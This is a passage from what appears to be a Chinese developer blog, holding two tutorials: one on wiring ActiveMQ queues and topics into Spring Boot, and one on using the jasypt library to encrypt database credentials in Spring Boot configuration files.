</dependency>此时如果不需要web或其他相关处理,只引入该依赖即可。如果使用pool的话, 就需要在pom中加入以下依赖:<dependency> <groupId>org.apache.activemq</groupId> <artifactId>activemq-pool</artifactId> <version>5.12.1</version> </dependency>10.2 配置文件spring: activemq: broker-url: tcp://127.0.0.1:61616 #ActiveMQ通讯地址 user: admin #用户名 password: admin #密码 in-memory: false #是否启用内存模式(就是不安装MQ,项目启动时同时启动一个MQ实例) packages: trust-all: true #信任所有的包 # pool: # enabled: true #连接池启动 # max-connections: 10 #最大连接数 pool: enabled: false jms: pub-sub-domain: false #设置是Queue队列还是Topic,false为Queue,true为Topic,默认false-Queue10.3 在SpringBoot的启动类,类上添加注解@EnableJms10.4 创建配置类ActiveMQConfig,读取yml中的内容,并且创建对象@Configuration public class ActiveMQConfig { @Value("${spring.activemq.broker-url}") private String brokerUrl; @Value("${spring.activemq.user}") private String userName; @Value("${spring.activemq.password}") private String password; @Bean(name = "queue") public Queue queue() { return new ActiveMQQueue("springboot.queue"); } @Bean(name = "topic") public Topic topic(){ return new ActiveMQTopic("springboot.topic"); } @Bean public ConnectionFactory connectionFactory(){ return new ActiveMQConnectionFactory(userName, password, brokerUrl); } // 在Queue模式中,对消息的监听需要对containerFactory进行配置 @Bean("queueListener") public JmsListenerContainerFactory<?> queueJmsListenerContainerFactory(ConnectionFactory connectionFactory){ SimpleJmsListenerContainerFactory factory = new SimpleJmsListenerContainerFactory(); factory.setConnectionFactory(connectionFactory); factory.setPubSubDomain(false); return factory; } // 在Topic模式中,对消息的监听需要对containerFactory进行配置 @Bean("topicListener") public JmsListenerContainerFactory<?> topicJmsListenerContainerFactory(ConnectionFactory connectionFactory){ SimpleJmsListenerContainerFactory factory = new SimpleJmsListenerContainerFactory(); factory.setConnectionFactory(connectionFactory); factory.setPubSubDomain(true); return factory; } }10.5 创建生产者@RestController public class Producer { @Autowired private JmsMessagingTemplate jmsTemplate; @Autowired private Queue queue; @Autowired private Topic topic; //发送queue类型消息 @GetMapping("/queue") public void sendQueueMsg(String msg){ jmsTemplate.convertAndSend(queue, msg); } //发送topic类型消息 @GetMapping("/topic") public void sendTopicMsg(String msg){ jmsTemplate.convertAndSend(topic, msg); } }10.6 创建消费者@Component public class Consumer { //接收queue类型消息 //destination对应配置类中ActiveMQQueue("springboot.queue")设置的名字 @JmsListener(destination="springboot.queue", containerFactory = "queueListener") public void ListenQueue(String msg){ System.out.println("接收到queue消息:" + msg); } //接收topic类型消息 //destination对应配置类中ActiveMQTopic("springboot.topic")设置的名字 //containerFactory对应配置类中注册JmsListenerContainerFactory的bean名称 @JmsListener(destination="springboot.topic", containerFactory = "topicListener") public void ListenTopic(String msg){ System.out.println("接收到topic消息:" + msg); } }10.7 运行测试queue测试地址:localhost:8080/queue?msg=hellotopic测试地址:localhost:8080/topic?msg=hello注:测试topic模式的时候需要把配置文件的 jms. pub-sub-domain设置为true参考资料ActiveMQ 入门指引 - 知乎 (zhihu.com)ActiveMQ详细入门教程系列(一) - 牧小农 - 博客园 (cnblogs.com)从入门到精通的ActiveMQ(一) - 知乎 (zhihu.com)ActiveMQ (apache.org)ActiveMQ——Java连接ActiveMQ(点对点) - 知乎 (zhihu.com)消息中间件系列三、JMS和activeMQ的简单使用-阿里云开发者社区 (aliyun.com)springboot整合ActiveMQ(点对点+发布订阅)-阿里云开发者社区 (aliyun.com)SpringBoot集成ActiveMQ实例详解 - 知乎 (zhihu.com)SpringBoot使用activeMq(绝对可用!亲测)_码学弟的博客-CSDN博客(★★★)Springboot整合ActiveMQ(Queue和Topic两种模式)_码学弟的博客-CSDN博客
2023年08月25日
56 阅读
0 评论
0 点赞
2023-08-24
SpringBoot 整合 jasypt 对配置项进行加密
1.jasypt简介和为什么要对配置文件进行加密1.1 jasypt 简介Jasypt 是一个 Java 库,它允许开发人员以最小的努力为项目添加基本的加密功能,而无需深入了解密码学的工作原理。1.2 为什么要对配置文件进行加密先看一份典型的配置文件spring: datasource: driver-class-name: com.mysql.jdbc.Driver url: jdbc:mysql://127.0.0.1:3306/test?serverTimezone=CTT&useSSL=false&allowPublicKeyRetrieval=true username: root password: 123456 redis: host: 127.0.0.1 port: 6379 password: 123456 ...像这样将项目的数据库密码、redis密码等直接写在项目中会有潜在的风险,比如项目源码泄漏,员工一不小心将公司源码上传到公有仓库,导致公司数据库密码泄漏。这时候对配置文件的关键信息进行加密就变得非常有必要了。2.Jasypt加密场景及对应的工具类加密算法3.SpringBoot3 整合 jasypt3.1 引入依赖用的springboot3.0.8版本<dependency> <groupId>com.github.ulisesbocchio</groupId> <artifactId>jasypt-spring-boot-starter</artifactId> <version>3.0.4</version> </dependency>3.2 生成加密字符串PBEWITHHMACSHA512ANDAES_256 算法@Test public void testJasypt() { PooledPBEStringEncryptor encryptor = new PooledPBEStringEncryptor(); SimpleStringPBEConfig config = new SimpleStringPBEConfig(); // 加密方式 config.setAlgorithm("PBEWITHHMACSHA512ANDAES_256"); // 盐值 config.setPassword("jupiter"); config.setKeyObtentionIterations("1000"); config.setPoolSize("1"); config.setProviderName("SunJCE"); config.setSaltGeneratorClassName("org.jasypt.salt.RandomSaltGenerator"); config.setIvGeneratorClassName("org.jasypt.iv.RandomIvGenerator"); config.setStringOutputType("base64"); encryptor.setConfig(config); String username = encryptor.encrypt("root"); String password = encryptor.encrypt("123456"); System.out.println("username:" + username); System.out.println("password:" + password); username = encryptor.decrypt(username); password = encryptor.decrypt(password); System.out.println("username:" + username); System.out.println("password:" + password); }username:o+GwMZViEUGlI9IrXRQ4Osyyue2xt/XdNWZZv/WNUXa1evDd1aBLR+jWqtKiuJ6n password:8mpyKrDyXMUi/iTNjWBDy1JhY5LKqdkhwza6NowBmjx3BP6NX7Z1mm7/ZAtCrV6U username:root password:1234563.3 写入配置文件并读取测试application.ymlspring: datasource: driver-class-name: com.mysql.jdbc.Driver url: jdbc:mysql://127.0.0.1:3306/test?serverTimezone=CTT&useSSL=false&allowPublicKeyRetrieval=true username: ENC(o+GwMZViEUGlI9IrXRQ4Osyyue2xt/XdNWZZv/WNUXa1evDd1aBLR+jWqtKiuJ6n) password: ENC(8mpyKrDyXMUi/iTNjWBDy1JhY5LKqdkhwza6NowBmjx3BP6NX7Z1mm7/ZAtCrV6U) jasypt: encryptor: password: jupiter algorithm: PBEWithHmacSHA512AndAES_256读取测试$\color{red}{注意:springboot类上要加@EnableEncryptableProperties注解,否则不会进行自动解密!!!}$@Value("${spring.datasource.username}") private String username; @Value("${spring.datasource.password}") private String password; @Test public void testReadENCText() { System.out.println("username=" + username + ",password=" + password); }username=root,password=1234563.4 线上使用注意事项回到开头,我们加密配置项的目的是为了防止在配置文件泄漏的时候,把配置信息一起泄漏出去。配置我们是加密了,但密钥还是保存在配置文件中,别人还是能拿到密钥在解密出配置信息,这就相当于我们把门给锁了,但是钥匙还是插在锁上,所以需要将配置跟密钥分开存储。推荐采用环境变量的方式:#!/bin/bash export ENCRYPTOR_PASSWORD=jupiter java -jar -Djasypt.encryptor.password=$ENCRYPTOR_PASSWORD$\color{red}{注意:设置环境变量后解密会加载环境变量中设置的值,即使在配置文件中写了也会不生效被覆盖掉!!!!}$参考资料Jasypt加密工具整合SpringBoot使用 - 简书 (jianshu.com)SpringBoot 使用 jasypt 对配置项进行加密 - 掘金 (juejin.cn)jasypt 加解密的各个版本支持,看这一篇文章就够了_jasypt 3.0.3_Ramboooooooo的博客-CSDN博客Spring Boot Jasypt 3.0.4 报错---算法加解密使用不一致_pbewithhmacsha512andaes_256_神韵499的博客-CSDN博客
2023年08月24日
83 阅读
0 评论
0 点赞
1
2
3
...
6